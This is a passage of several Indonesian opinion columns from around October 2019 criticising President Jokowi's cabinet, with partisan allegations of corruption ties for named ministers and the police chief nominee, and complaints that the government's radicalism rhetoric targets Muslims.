hebat dari bangsa ini. Jokowi jelas tidak tendensius. Tetapi agak sulit untuk tak mengatakan Jokowi terlihat membelakangi perspektif konstitusionalisme sehat. Mengapa? Pernyataannya terlihat kongklusif. Juga muncul di tengah ketiadaan konsep hukum tentang radikalisme dan intoleransi. Bukan tak bisa, tetapi bukan itu cara mengendorsnya. Apalagi rasio yang menyertainya begitu tipis. Cara yang dipilih itu, entah dengan atau tanpa detail pertimbangan pada semua aspeknya, punya konsekuensi. Pak Jokowi terlihat membawa dirinya menjadi orang tak terlatih mengenal kearifan konstitusionalisme sehat mengurus pemerintahan. Bicara pendek memang bisa, tapi tak menyertakan argumentasi konstitusionalisme sehat adalah perkara mengerikan. Apakah Presiden telah cukup yakin DPR yang telah menjelma menjadi mahluk paling bijaksana menggunakan kewenangan pengawasan konstitusionalnya? Sehingga DPR juga tak memperhatikan detail konsekuensi pernyataannya? Entahlah. Presiden, boleh jadi memiliki keyakinan bahwa DPR telah lebih dewasa. DPR bisa membawa diri memahami pemerintahan Jokowi saat ini. Boleh jadi juga DPR untuk alasan itu, selalu dapat menerima semua tindakan pemerintahan Pak Presiden. Lebih jauh Presiden mungkin telah cukup yakin berada dan berurusan dengan hanya satu realitas. Bukan dua realitas yang pernah terbentang begitu lebar. Yang sempat teridentifikasi secara terburu-buru, sehingga hampir membelah bangsa ini. Realitas tunggal itu, semoga beralasan. Lebih dari itu, mungkin menjadi modal untuk menggerakan lebih cepat, tetapi terukur. Bukan liar pemerintahan ini. Tetapi sehebat itu sekalipun, Presiden diminta untuk bijaksana mengelola pemerintahannya. Presiden, untuk kepentingan kearifan pemerintahan konstitusional, tak boleh terlihat menjadi pemicu tindak-tanduk rasisme, intoleransi dan radikalisme dalam semua dimensinya. Itu jelas tidak boleh. Karena itu merupakan hal terhebat untuk segala zaman. Presiden juga tak boleh menjadi pemicu kontroversi, apapun isunya. Agar terhindari dari semua itu dan tidak ternilai tendensius, indah sekali bila Presiden bergegas merumuskan konsep detail radikalisme dan intoleransi itu. Mari Presiden. Kami semuya menantikannya. Waktu yang akan datang menjadi hakim, memberi kualifikasi pada dirinya sebagai Presiden untuk semua itu. Penulis adalah Pengajar Hukum Tata Negara Univesrsitas Khairun Ternate

Menteri “Bernoda” Korupsi (2): Halim Iskandar dan Ida Fauziyah?

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Selain nama Mendagri Tito Karnavian dan Menteri BUMN Erick Thohir, nama Abdul Halim Iskandar, kakak Wakil Ketua DPR Abdul Muhaimin Iskandar yang menjabat Mendes PDTT dan Menaker Ida Fauziah, ternyata “bernoda” korupsi juga. Keduanya adalah politisi PKB pimpinan Ketum DPP PKB Muhaimin Iskandar. Sayangnya, kedua politisi PKB itu pernah “berurusan” dengan KPK. Meskipun mereka diperiksa dalam kapasitasnya sebagai saksi. Ini dibenarkan oleh pihak KPK. Menurut Jubir KPK Febri Diansyah, Halim Iskandar dan Ida Fauziyah itu pernah dipanggil dan diperiksa sebagai saksi dalam kasus yang berbeda. Beberapa orang memang pernah diperiksa KPK sebagai saksi dalam sejumlah perkara terpisah. “Saya kira itu juga sudah terbuka ya informasinya,” kata Febri seperti dilansir RMOL.id. Halim Iskandar pernah diperiksa dalam kasus dugaan gratifikasi dari kasus pencucian uang Bupati non-aktif Nganjuk Taufiqurrahman. Sedangkan Ida Fauziyah terkait kasus dugaan korupsi pelaksanaan Haji 2012 sampai 2013 untuk tersangka eks Ketum PPP Surya Darma Ali. Mantan Menteri Agama ini pun sudah divonis Pengadilan Tipikor Jakarta. “Ada beberapa kasus yang berjalan saat itu, seperti suap dan gratifikasi Bupati Nganjuk dan juga kasus korupsi haji yang melibatkan Menteri Agama sebelumnya,” ujar Febri, mengutip Law-justice.co, Rabu (23/10/2019 08:30 WIB). “Memang ada beberapa nama yang kita tahu terkait dengan beberapa kasus korupsi yang pernah ditangani KPK. Namun, mereka memang baru diperiksa sebagai saksi sejauh ini,” ungkap Febri. Halim Iskandar Jejak digital Abdul Halim Iskandar yang “bernoda” korupsi masih terekam. Terkait dirinya yang pernah dipanggil KPK, Halim Iskandar menyatakan sudah clear dan ia tidak terlibat. “Semua clear, enggak ada masalah,” ujarnya, mengutip Kompas.com. Seperti dilansir Kompas.com, Selasa (22/10/2019), dirinya sempat berurusan dengan KPK pada 2018. Dia dipanggil sebagai saksi terkait penyidikan perkara tindak pidana pencucian uang dengan tersangka mantan Bupati Nganjuk, Taufiqurrahman. Seperti dilansir Liputan6.com, Selasa (22 Okt 2019, 15:09 WIB), “Ya saya kenal, waktu di Jombang ya, sudah,” ujar Abdul Halim usai diperiksa di Gedung KPK, Kuningan Persada, Jakarta Selatan, Selasa 31 Juli 2018. Halim Iskandar tidak menampik kerap bertemu dengan mantan Bupati Nganjuk tersebut. Namun, menurut Ketua DPW PKB Jawa Timur itu, perkenalan dan pertemuannya dengan Taufiqurrahman hanya sebatas kaitan sebagai pengurus partai. “Dia kan orang Jombang. Dia (Bupati Nganjuk Taufiqurrahman) aktif di Golkar, saya di PKB. Kenal sebagai pengurus partai. Sudah itu saja,” kata Halim Iskandar. Taufiqurrahman sendiri merupakan tersangka penerimaan gratifikasi terkait proyek-proyek di Nganjuk. Taufiqurrahman yang diduga KPK menerima gratifikasi Rp 5 miliar selama 2013-2017. Nama mantan Ketua DPRD Jatim periode 2014-2019 itu sempat pula secara tersirat sebagai “kerabat” Muhaimin Iskandar yang sedang digadang-gadang agar maju dalam bursa cagub Jatim 2018. Makanya Ketum PKB ini sedang membutuhkan logistik. Hal itu terungkap dari pengakuan terpidana kasus suap proyek infrastruktur Musa Zainuddin yang menyeret Muhaimin Iskandar dalam pusaran perkara yang membelitnya. Seperti dikutip Tempo, Sabtu (19/10/2019), Muhaimin dituding terima duit fee Rp 6 miliar. Selain dituding menerima duit, Muhaimin disebut juga berupaya menggagalkan permohonan justice collaborator (JC) kadernya tersebut. Awal Oktober lalu, 3 penyidik KPK memeriksa Musa. “Saya diperiksa atas surat permohonan sebagai JC,” kata Musa. Kepada Tempo, Musa mengatakan penyerahan uang itu merupakan respons atas percakapan bersama Jazilul beberapa bulan sebelumnya. Saat itu, Sekretaris Fraksi PKB Jazilul Fawaid mengatakan Muhaimin Iskandar sedang membutuhkan logistik untuk mendorong kader PKB agar maju dalam bursa cagub Jatim 2018. Nama yang sedang digadang-gadang saat itu adalah kerabat Muhaimin. Ternyata, kerabat ini tidak lain adalah Abdul Halim Iskandar, kakak Muhaimin Iskandar yang belakangan batal maju dalam kontestasi Pilgub Jatim 2018. Surat JC Musa yang diperoleh Tempo menyebutkan sebagian besar uang dari para pengusaha itu diserahkan kepada Jazilul. Jumlahnya jauh lebih besar dari uang yang ia terima, yakni Rp 6 miliar. “Yang di tangan saya cuma Rp 1 miliar,” ujar Musa. Musa menjalani hukuman selama 9 tahun karena terbukti menerima suap sebesar Rp 7 miliar untuk meloloskan proyek infrastruktur Kementerian Pekerjaan Umum dan Perumahan Rakyat di Maluku dan Maluku Utara Tahun Anggaran 2016. Setelah anggaran diketuk, Direktur Utama PT Windhu Tunggal Utama Abdul Khoir menemui Musa. Abdul Khoir mengaku tertarik menggarap proyek pembangunan jalan Taniwel-Saleman, Maluku, senilai Rp 56 miliar. Mantan anggota Komisi Infrastruktur Dewan Perwakilan Rakyat dari PKB itu ditahan sejak Februari 2017. Uang tersebut berasal dari Direktur Utama PT Windhu Tunggal Utama Abdul Khoir, kontraktor proyek, yang lebih dulu dihukum Pengadilan Tipikor Jakarta. Musa mengatakan penyidik ingin mengkonfirmasi surat permohonan menjadi JC Musa yang diajukan pada sekitar Juli 2019. Musa juga membuka kronologi aliran dana suap Rp 7 miliar yang selama ini tak terungkap di pengadilan dan pemeriksaan. Belakangan, Musa mengaku duit suap itu tidak dia nikmati sendiri, tapi mengalir ke sejumlah koleganya di PKB, termasuk ke Muhaimin. Berbeda dengan keterangan di persidangan, aliran dana suap dari Abdl Khoir ternyata tak berhenti di tangan Musa. Musa mengaku menutupi peran para koleganya lantaran menerima instruksi dari dua petinggi partai. Keduanya menekan Musa agar menutupi keterkaitan uang itu dengan para petinggi PKB. Mereka mengatakan, Ketum PKB Muhaimin Iskandar berpesan agar kasus suap itu berhenti di Musa. “Saya diminta berbohong dengan tidak mengungkap peristiwa sebenarnya,” ucap Musa. Imin – panggilan akrab Muhaimin – kini menjabat Wakil Ketua DPR. Ida Fauziah Selain Abdul Halim Iskandar, jejak digital serupa yang “bernoda” korupsi juga mengarah ke Ida Fauziah, politikus PKB yang diangkat Presiden Joko Widodo menjabat Menaker dalam Kabinet Indonesia Maju (KIM) 2019-2024. Pada medio 2014, Ida Fauziah yang saat itu anggota Komisi VIII DPR pernah diperiksa KPK terkait penyidikan kasus dugaan korupsi pelaksanaan Haji 2012 sampai 2013 yang mengarah kepada Komisi VIII DPR. “Diperiksa untuk tersangka SDA (Surya Dharma Ali, mantan Menag saat itu),” tulis Kepala Bagian Pemberitaan dan Publikasi KPK, Priharsa Nugraha, melalui pesan singkat, Senin (18/8/2014). Selain Ida, KPK juga turut menjadwalkan memeriksa Anggota Komisi VIII Fraksi Demokrat, Muhammad Baghowi, Soemintarsih Muntoro (Anggota Komisi VIII DPR Fraksi Hanura), dan bekas Ketua Komisi VIII Fraksi Partai Keadilan Sejahtera, Jazuli Juwaini. Kemudian, mantan Direktur Jenderal Pelaksanaan Haji dan Umrah Anggito Abimanyu buat kesekian kalinya juga diperiksa sebagai saksi. Dalam kasus tersebut, ketika itu KPK baru menetapkan seorang tersangka yaitu mantan Menag SDA. Tetapi uniknya, dalam surat perintah dimulainya penyidikan tercantum kalimat “SDA dan kawan-kawan”. SDA disangka melanggar pasal 2 ayat (1) dan atau pasal 3 UU No. 31/1999 sebagaimana telah diubah dengan UU No. 20/2001 tentang Pemberantasan Tipikor jo pasal 55 ayat (1) ke-(1) KUHPidana. Praktik korupsi yang mereka lakukan ditengarai terjadi di berbagai lini. Seperti: pengadaan penginapan, transportasi, dan katering. Selain itu, diduga SDA juga menyalahgunakan kuota Panitia Pelaksanaan Ibadah Haji serta memanipulasi Sistem Komputerisasi Haji. Apakah kedua menteri asal PKB ini akan diproses KPK hingga pengadilan Tipikor Jakarta, seperti mantan Menpora Imam Nahrawi? ***

AKBP Idham Azis Pernah Terkena Sanksi Karena Kasus Perjudian

Dikhawatirkan pengusaha tidak berani menanamkan modalnya di tanah air karena takut berhadapan dengan “Naga Sembilan”. Hanya karena “Naga Sembilan” punya hubungan kedekatan masa lalu dengan Kapolri. Kasian, pemerintahan Pak Jokowi juga dengan sendirinya jadi tersandra secara investasi. Oleh Nasrudin Joha Jakarta, FNN – Pada tahun 2004, kalangan enternal polisi dan dunia perjudian di tanah air dibikin heboh. Penyebabnya Kapolri ketika itu Jendral Polisi Drs. Da’i Bachtiar marah besar. Akibatnya, Kapolri Da’i mencopot sejumlah perwira menengah polisi jabatannya masing-masing. Mereka yang dicopot dari jabatanya tersebut, umumnya bertugas di jajaran Polda Metro Jaya. Para perwira menengah Polda Metro Jaya yang dicopot itu, dipindahkan ke polda-polda di daerah Indonesia Timur dan Indonesia Tengah. Mereka ditempatkan di Papua, Maluku, Sulawesi dan Nusa Tenggara. Mereka dicopot dari jabatannya, karena danggap membiarkan perjudian marak dan telanjang mata terjadi di wilayah hukum Polda Metro Jaya. Padahal perjudian dengan dalih apapapun adalah pelanggaran terhadap pasal 303 Kitab Undang-Undang Hukum Pidana (KUHP). Pasal 303 KUHP ini di kalangan pelaku perjudian tanah air, sering disebut dengan “Pasal San Kong San. Bahasa cinanya San yang berarti angka tiga. Kong artinya angka nol atau kosong, dan San lagi tetap artinya tiga. Akibatnya, Telegram Rahasia (TR) Kapolri Da’i Bachtiar untuk mencopot dan memindahkan sejumlah perwira menengah dari Polda Metro Jaya ke Indonesia Timur dan Indonesia Tengah itu, terkenal dengan nama “TR San Kong San”. Ada juga yang menyebutnya dengan TR 303. Yang lain menamakannya TR perjudian. Satu diantara perwira menengah Polda Metro Jaya yang terkena atau ikut terdampak dari terbitnya “TR San Kong San” adalah Ajun Komisaris Besar Polisi (AKBP) Drs. Idham Azis. Calon Kapolri pengganti Tito Karnavian ini dipindahkan Da'i Bachtiar ke Polda Sulawesi Tengah. Jabatan Idham Azis ketika itu adalah Wakapolres Metro Jakarta Barat. Sebelum menjabat sebagai Kapolres Metro Jakarta Barat, Idham Azis menjabat Kasat Jatanras atau biasa disebut Kasatum. Organ di bawah Direktorat Kriminal Umum Polda Metro Jaya. Kasatum Polda Metro Jaya ketika itu adalah penanggung jawab lapangan semua kegiatan perjudian dan prostitusi. Aturan bakunya, Kasatum harus memastikan tidak ada kegiatan perjudian dengan dalih apapun, dan dalam bentuk apapun yang terjadi di wilayah hukum Polda Metro Jaya. Namun jika ada kegiatan perjudian secara terbuka, maka dipasatikan penyebabnya ada dua kemungkinan. Kemungkinan Pertama, perjudian ketika itu memang marak, dan terbuka di wilayah hukum Polda Metro Jaya. Siapapun bisa bermain judi dengan gampang dan bebas. Penulis sering ikut menyaksikan dan menemani teman yang bermain judi di beberapa tempat perjudian. Namun bisa saja kegiatan perjudian berlangsung dengan bebas dan terbuka. Tetapi tanpa sepengetahuan Kasatum Polda Metro Jaya dan jajaran kepolisian di bawahnya. Artinya, perjuadian yang terjadi adalah ilegal atau liar. Sayangnya, para bandar judi tidak ditindak, sehingga membuat Kapolri Da’i Bachtiar harus marah besar. Kemungkinan Kedua, perjudian memang berlansung, namun liar. Artinya, ada perjudian tanpa izin. Namun bisa saja perjudian tersebut hanya bisa berjalan dengan leluasa, karena sepengetahuan jajaran Kasatum Polda Metro Jaya. Artinya, ada yang tau sama taulah. Bahasa kerennya ada yang hengky pengky. Walaupun demikian, setiap saat mereka bisa juga ditangkap atau tempat judinya ditutup bila diperlukan . Secara struktur, seharusnya AKBP Drs. Idham Aziz tidak perlu terkena sanksi atau terdampak “TR San Kong San”. Sebab jabatan Idham adalah Wakapolres Metro Jakarta Barat. Wakapolres tidak memiliki kaitan komando langsung terhadap kegiatan perjudian di wilayah hukum Polres Metro Jakarta Barat. Kewenangan tersebut hanya ada pada Kapolres atau Kasat Serseum Polres Metro Jakarta Barat. Palaksana lapangannya adalah Kanit Voice Control (VC). Bawahan dari Kasat Serseum Polres Metro Jakarta Barat Kapolri Jangan Tersandara Sudah menjadi pengetahuan umum bahwa yang menjadi bandar perjudian di wilayah hukum Polda Metro Jaya didominasi oleh kelompok “Naga Sembilan”. Mereka juga yang sekarang mengontrol lebih dari separuh roda perputaran ekonomi nasional. “Naga Sembilan” pula yang mengendalikan separuh sistem hukum kita sekarang. Sayangnya, mereka tidak pernah berwujud atau nongol ke permukaan Rasanya sangat sulit bagi siapapun untuk bisa menang di Polisi, Jaksa dan Pengadilan, jika berperkara dengan “Naga Sembilan”. Kekuasaan dan kekuatan hukum sebesar apapun, sepertinya tidak bisa untuk menghukum kedigjayaan “Naga Sembilan”. Apa jadinya bila Kapolri kita nanti adalah orang yang pernah bersentuhan dengan “Naga Sembilan”? Siapa pelaku binis negeri ini atau investor asing yang berani berperkara secara hukum melawan anggota kelompok “Naga Sembilan”? Kenyataan ini akan sangat berpengaruh terhadap pertumbuhan iklim usaha dan investasi di tanah air. Paling kurang selama satu tahun tiga bulan ke depan. Selama kurun waktu Idham Azis menjabat sebagai Kapolri. Kita tidak ingin Kapala Polisi Indonesia disandra oleh para pengusaha hitam. Jangan juga sampai Kapolri kita dikendalikan oleh kelompok “Naga Sebilan”. Kapolri, siapapun orangnya harus terbebas dari pengaruh mavioso. Sebab kalau sampai Kapolri punya beban masa lalu dengan para mavioso perjudian dan prostitusi, maka itu pertanda buruk. Kasian sekali perjalanan bangsa ini untuk lima belas bulan ke depan. Dikhawatirkan kalangan pengusaha tidak berani menanamkan modalnya di tanah air, hanya karena takut berhadapan dengan kelompok “Naga Sembilan”. Hanya karena “Naga Sembilan” mempunyai kedekatan hubungan di masa lalu dengan Kapolri. Kasian juga bagi pemerintahan Pak Jokowi, karena dengan sendirinya jadi tersandra secara investasi. Padahal Indonesia sekarang membutuhkan investasi dalam yang jumlah sangat besar. Indonesia butuh invetasi, baik dari dalam negeri maupun asing. Tujuannya, untuk bisa menciptakan pertumbuhan ekonomi di atas 6% setiap tahun. Untuk itu, dibutuhkan pejabat bidang hukum yang lumayan-lumayan bersihlah. Semua neraca dan indikator ekonomi Indonesia sekarang ini merah. Defisit neraca perdagangan merah sangat besar. Bahkan defisinya terbesar sepanjang Indonesia, sejak merdeka tahun 1945. Nilai defisitnya antara U$ 8-9 miliar dollar. Selain itu, neraca pembayaran juga merah. Begitu pula dengan necara penerimaan dari pajak, yang juga merah. Semua indikator ekonomi Indonesia yang lemah dan merah tersebut, telah mendorong Pak Jokwi harus melakukan kompromi politik dengan rivalmya Prabowo Subianto. Tujuannya, agar tercipta iklim politik yang kondusif. Targat akhirnya adalah masuknya investasi, terutama dari luar negeri dalam jumlah yang besar, sehingga bisa mendorong pertumbuhan ekonomi Indonesia di atas 6% setiap tahun. Namun keinginan yang mulia tersebut, ternyata belum cukup Pak Jokowi. Masih dibutuhkan pejabat di bidang hukum yang tidak punya rekam jejak masa lalu dengan pengusaha hitam. Mereka adalah para penguasa yang dulu mengendalikan bisnis perjudian dan prostitusi. Tentu saja mereka menghalalkan segala cara untuk mencapai tujuannya. Apalagi marasa memiliki kedekatan emosional dengan Kapolri nantinya. Jika pejabat bidang hukum punya jejak masa lalu dengan para mavioso dan pengusaha hitam, dikhawatirkan akan menyulitkan Pak Jokowi dalam merealisasikan program “Revolusi Mental dan Nawa Cita”. Kecuali jika pada periode kedua ini, Pak Jokowi tidak lagi mengutamakan pelaksanaan program “Revolusi Mental dan Nawa Cita”. Pak Jokowi, ketika “TR San Kong San” tersebut keluar dulu, sangat mungkin Pak Jokowi tidak mengetahuinya. Karena tahun 2004 Pak Jokowi baru mulai perisiapan menjadi Walikota Solo periode pertama. Mungkin juga Pak Jokowi sedang sibuk-sibuknya mengurus modrenisasi Pasar Kliwer Solo. Pak Jokowi baru masuk Jakarta tahun 2012, untuk menjadi calon Gubernur DKI Jakarta. Kebetulan saja ketika itu, penulis adalah wartawan senior dari Majalah Hukum dan Politik. Semoga fakta dan informasi ini bermanfaat bagi pimpinan dan anggota Komisi III DPR. Sebab mulai Rabu besok ini Komisi III DPR melakukan rangkain uji kepatutan dan kelayakan terhadap Komjen Polisi Drs. Idham Azis sebagai calon Kapolri Terakhir, tulisan ini bukanlah karena adanya kebencian atau suka dan tidak suka penulis kepada pribadi Komjen Polisi Drs. Idham Azis untuk menjadi Kapolri. Bukan juga sebagai upaya untuk menghalangi atau menjegal Idham Azis menjadi Kapolri, Tulisan ini hanya sebagai sumbangan kecil dari pengetahuan dan pemahaman penulis sebagai anak bangsa. Hanya karena masih punya kepedulian kepada bangsa dan negara. Tulisan ini juga sebagai bentuk kecil dari cinta penulis kepada bangsa. Menurut penulis, bangsa ini sedang tidak aman secara ekonomi dan hukum. Berdosa sekali kalau penulis tidak meyampaikan fakta ini kepada publik. Kepada Pak Jokowi dan Komisi III DPR. Paling kurang, mudah-mudahan saja ketika menjadi Kapolri nantinya, Jendral Polisi Drs. Idham Azis lebih hati-hati dalam memimpin intitusi kepolisin. Insya Allaah, Amin amin amin Penulis adalah Wartawan Senior

Ekonomi dan Korupsi, Bukan Radikalisme!

Oleh Edy Mulyadi *) Jakarta, FNN - Saya seharusnya marah kepada Presiden Joko Widodo dan para menterinya. Ada beberapa alasan penting kenapa saya layak marah kepada mereka. Antara lain, sebagai rakyat dan pembayar pajak saya berhak berharap punya Presiden dan menteri yang benar-benar profesional, mengerti tugas dan fungsinya, serta berintegritas. Sebagai Presiden, Joko tidak membuktikan dirinya seorang profesional. Buktinya, dia abai terhadap kapasitas dan kapabilitas para pembantunya. Di periode kedua kekuasaannya, dia masih saja memilih orang-orang yang terbukti gagal menjalankan tugasnya. Sri Mulyani, Luhut Binsar Panjaitan, dan Airlangga Hartarto, misalnya. Mereka adalah barisan pejabat publik yang terbukti gagal tapi kembali dipercaya menghela perekonomian, agar negara maju dan rakyat sejahtera. Mantan pengusaha mebel itu juga mengabaikan aspek integritas yang harus melekat pada para pembantunya. Dari 34 menteri, ada sembilan yang pernah terseret kasus korupsi. Mereka adalah Airlangga Hartato (Menko Perekonomian), Agus Gumiwang (Menteri Perindustrian), Tito Karnavian (Menteri Dalam Negeri), Luhut Binsar Panjaitan (Menko Maritim dan Investasi), dan Ida Fauziah (Menteri Ketenagakerjaan). Empat nama lainnya, Yasonna Laoly (Menteri Hukum dan Hak Azasi Manusia), Abdul Halim Iskandar (Menteri Desa Pembangunan Daerah Tertinggal dan Transmigrasi), Syahrul Yasin Limpo (Menteri Pertanian), dan Zainudin Amali (Menteri Pemuda dan Olah Raga). Ekonomi jeblok Pada tulisan kali ini, saya tak hendak menyentuh aspek hukum yang menyeret sembilan nama tadi pada kasus korupsi. Joko dan para hulubalangnya akan gampang mengelak, dengan mengatakan semuanya belum terbukti di pengadilan. Tentu saja, argumen itu benar. Tapi siapa pun tahu, di negeri ini politik bisa mengendalikan dan mempermainkan hukum. Jadi, sudahlah... Sejatinya, masalah yang kini Indonesia hadapi adalah ekonomi yang jeblok. Pertumbuhan yang macet. Utang yang tembus Rp5.000 triliun. Terjadi deindustrialiasi yang tak terbendung. Pengangguran yang membangkak dan lapangan kerja yang entah untuk siapa. Kita juga mengalami kemiskinan yang tak kunjung turun secara berarti. Harga-harga yang terus melambung. Pajak yang mencekik. Joko sepertinya tahu benar fakta ini. Tapi pada pidato pelantikannya, dia telanjur mengumbar mimpi, bahwa pendapatan rakyat Indonesia bakal mencapai Rp27 juta per bulan. Pertanyaanya, apakah dia tahu bahwa agar penduduk berpendapatan Rp27 juta per bulan pada 2045, itu artinya Indonesia harus tumbuh 7,5% sampai 8% setiap tahun berturut-turut selama 26 tahun ke depan? Padahal, fakta menunjukkan selama lima tahun terakhir (dan itu artinya, selama pemerintahan Joko periode pertama) ekonomi kita cuma berkutat di angka 5%? Stigma radikalisme Tapi, entah karena bisikan siapa, Joko kini sibuk mengalihkan perhatian rakyat pada isu radikalisme. Itulah sebabnya, para menterinya rajin menggonggong soal ini di kementerian masing-masing. Dan, yang membuat darah naik ke ubun-ubun, tudingan radikalisme para pejabat publik tersebut diarahkan kepada Islam dan ummat Islam. Bahkan, Fachrul Razi yang jadi menteri agama pun mengaku secara khusus mendapat perintah dari mantan Walo Kota Solo itu untuk memerangi radikalisme. Razi, misalnya, begitu diangkat langsung proklamasi bahwa dia bukanlah menteri agama Islam. “Saya adalah Menteri Agama Republik Indonesia. Di dalamnya ada agama-agama lain,” ujarnya kepada wartawan, di Jakarta, Rabu (23/10). Tapi anehnya, tak lama berselang, dia langsung menebar ancaman kepada para ustadz dan penceramah yang dianggapnya menebar radikalisme dan perpecahan. Pertanyaan mendasar buat Razi, katanya anda bukan menteri agama (hanya) Islam melainkan juga agama-agama lain, tapi kenapa tudingan radikalisme dan perpercahan bangsa hanya anda tujukan kepada para ustad dan kyai? Bagaimana dengan para pendeta di gereja, biksu di vihara, tokoh agama di pura dan lainnya? Apa menurut anda mereka pasti tidak radikal? Lalu parameter radikal seperti apa? Apakah ustadz yang menyampaikan dalil Qur'an dan Sunnah kepada kaum muslimin masuk katagori radikal? Bagaimana dengan pasal 29 ayat (2) UUD 1945 yang menjamin kemerdekaan tiap-tiap penduduk untuk memeluk agamanya masing-masing dan untuk beribadat menurut agamanya dan kepercayaannya itu? Apakah ini juga pasal ini termasuk radikal? Setali tiga uang, Mahfud MD yang diangkat sebagai Menko Politik Hukum dan Keamanan pun berkoar seputar memerangi radikalisme. Profesor hukum tata negara ini terbilang rajin menebar stigma negatif kepada Islam dan ummatnya. Bahkan sikap ‘permusuhannya’ kepada agamanya sendiri telah tampak jauh sebelum diangkat sebagai menterinya Joko. Masih ingat ketika dia mengatakan, Prabowo menang di provinsi-provinsi yang radikal? Narasi yang dikembangkan sesaat usai dilantik jadi menteri, sama dengan Razi, soal masjid yang dia stigma jadi ajang penyebaran kebencian. Sebetulnya sangat mengherankan, jika seorang Mahfud yang berlatar belakang madrasah dan nahdiyin bisa begitu memusuhi Islam. Itu barangkali seorang warganet beragama nasrani Sad Ronin @wawat_kurniawan menulis, “pak @mahfudmd kalau anda tidak yakin agama yang anda yakini itu benar dan baik serta pembawa kedamaian, mending ikut saya pak ke gereja.” Pengalihan isu Heboh narasi radikalisme yang dinyanyikan para menteri baru tentu bukan tanpa sebab. Tokoh nasional Rizal Ramli menenggarai hal ini sebagai upaya pengalihan isu dari ketidakmampuan pemerintah mengatasi masalah ekonomi yang nyungsep. “Setahun ke depan agaknya akan digoreng terus isu 3R (radikalisasi, radikulisasi & radikolisasi),” tulis RR, begitu dia biasa disapa, di akun twitternya @RamliRrizal, Ahad (27/10). Pada titik ini, kemarahan rakyat, terutama yang beragama Islam, memang layak disemburkan kepada Joko, tim ekonomi, khususnya Machfud dan Razi. Sebagai orang Islam, sudah semestinya saya akan mengerahkan semua kemampuan dan sumber daya yang saya miliki agar bisa melaksanakan semua ajaran Islam. Ini wajar dan normal. Sewajar dan senormal warga negara Indonesia yang beragama lain. Dan, kini rezim Joko menjadikan Islam dan ummatnya sebagai musuh yang musti ditumpas. Wahai penguasa, kalau benar orang Islam radikal, tentu tidak akan ada WNI yang beragama selain Islam karena semua sudah dibunuhi olang orang Islam. Tidak ada rumah ibadah selain masjid dan mushola karena yang lain sudah dirubuhkan oleh orang Islam. Faktanya justru sebaliknya. Kendati muslim mayoritas, agama lain bisa tumbuh dan berkembang secara baik. Pemeluk agama lain bukan cuma dilindungi dan dihormati, mereka bahkan bisa dan boleh meraih puncak jenjang karir dalam pangkat dan jabatan. Tak terhitung jumlah kepala daerah, jenderal dan menteri yang beragama bukan Islam. Soal toleran dan cinta mati NKRI, ummat Islam sudah khatam, bahkan sejak negara ini belum berdiri. Sebagian besar, kalau tidak disebut semua, pahlawan beragama Islam. Banyak dari mereka yang ulama, kyai, dan santri. Pangeran Diponegoro, Tuanku Imam Bonjol, Sentot Alibasyah, dan lainnya jelas berpakaian ulama. Dengan pidato menggelegar dan berulang menyebut Allahu akbar, Bung Tomo menggelorakan semangat jihad arek-arek Suroboyo mengusir tentara sekutu dari Surabaya. Hasilnya, sekutu pergi walau harus ditebus dengan lebih dari 6.000 anak muda yang mati syahid, in sya Allah. Soekarno, Hatta, Sjahrir, Hasjim Asyhari, Ahmad Dahlan, Agus Salim, Natsir, Wahid Hasyim, Kasman, Abikusno, Roem, Soepomo, dan teramat banyak yang lain adalah muslim. Lalu, apakah mereka ngotot menghendaki dan memaksa Islam sebagai dasar negara? Tidak, kan? Cuma segitu? Mosok profesor sekelas Mahfud tidak bisa melihat kenyataan ini? Mosok jenderal seperti Razi tidak tahu fakta ini? Terus terang, selain marah saya kasihan kepada kalian. Profesor dan jenderal kok cuma segitu! Jadi, sudahlah. Berhentilah rezim ini menebar stigma radikalisme terhadap Islam dan ummat Islam. Masalah yang Indonesia hadapi sama sekali bukan radikalisme. Masalah kita adalah ekonomi yang terpuruk, pendapatan rakyat merosot, beban hidup yang teramat berat. Problem superberat lain adalah korupsi. Korupsi yang begitu massif telah merenggut hak-hak rakyat. Jangan lupa, para pelaku korupsi adalah merekaa yang selama ini paling nyaring berteriak saya pancasila, NKRI harga mati. Mereka itulah yang radikal yang sesungguhnya. Baiknya mulai sekarang, kalian bekerja bahu-membahu meningkatkan ekonomi kita. Joko dan kabinetnya harus ekstra sungguh-sungguh memerangi korupsi. Bukan sebaliknya malah melemahkan KPK. Dengan begitu, barulah kita boleh berharap rakyat bisa hidup sejahtera! [*] Jakarta, 29 Oktober 2019 Edy Mulyadi, wartawan senior

Menag Ketemu UAS, Mau Memeriksa Hadits Yang Sensitif?

Oleh : Nasrudin Joha Jakarta, FNN - Menteri Agama Jenderal (Purn) Fachrul Razi dikabarkan akan menemui penceramah kondang Ustaz Abdul Somad (UAS). Pertemuan tersebut merupakan bagian dari agenda Fachrul untuk merangkul segenap komponen masyarakat demi kepentingan bangsa. (28/10). Sebelumnya, Menag menegaskan agar ustadz-ustadz tidak menyampaikan konten ceramah yang memuat ayat atau hadits sensitif. Pertemuan ini, tentu menimbulkan praduga publik tentang rencana eksekusi para ustadz agar lolos verifikasi unsur 'sensitif' di dalam penyampaian ayat maupun hadits. Menag mengakui UAS memiliki peran dan berjuang untuk bangsa. Meskipun, dia juga memiliki penilaian ada satu dua butir ceramahnya yang menurutnya tidak pas. Menag mengaku memiliki kewajiban untuk menyampaikan itu. Pada artikel yang berjudul 'REZIM JOKOWI SEMAKIN REPRESIF TERHADAP ULAMA ?' penulis telah membuat analisis adanya pola baru yang memungkinkan bagi rezim untuk melakukan sejumlah 'intimidasi struktural', memaksa ulama untuk masuk 'meja perundingan' yang telah dipersiapkan rezim. Dalam negosiasi perundingan itulah, para ulama akan dihadapkan pada tiga opsi utama : Pertama, para ulama kritis yang menyampaikan sejumlah dalil untuk mengoreksi rezim, baik dalil dari al Quran maupun as Sunnah diminta untuk menarik diri dari aktivitas dakwah amat ma'ruf nahi munkar, serta menjadi satu kesatuan bersama rezim untuk mensyiarkan sejumlah dalil yang akan mengokohkan kedudukan rezim. Kedua, jika ulama kritis tidak mau menjadi ulama yang mendukung rezim, yang melegitimasi kekuasaan rezim dengan mencari kutipan dalil Al Quran maupun AS Sunnah, agar memilih diam dan fokus menyampaikan dakwah tentang akhlak dan kebajikan persoanal individual. Ketiga, ulama yang masih tetap nekat berdakwah dan menjelaskan syariah apa adanya, tetap mengutip dalil dari Al Quran dan AS Sunnah tanpa pilah pilih, tetap mengoreksi kezaliman rezim dan menolak melegitimasinya, akan diancam dengan sejumlah konsekuensi, termasuk akan 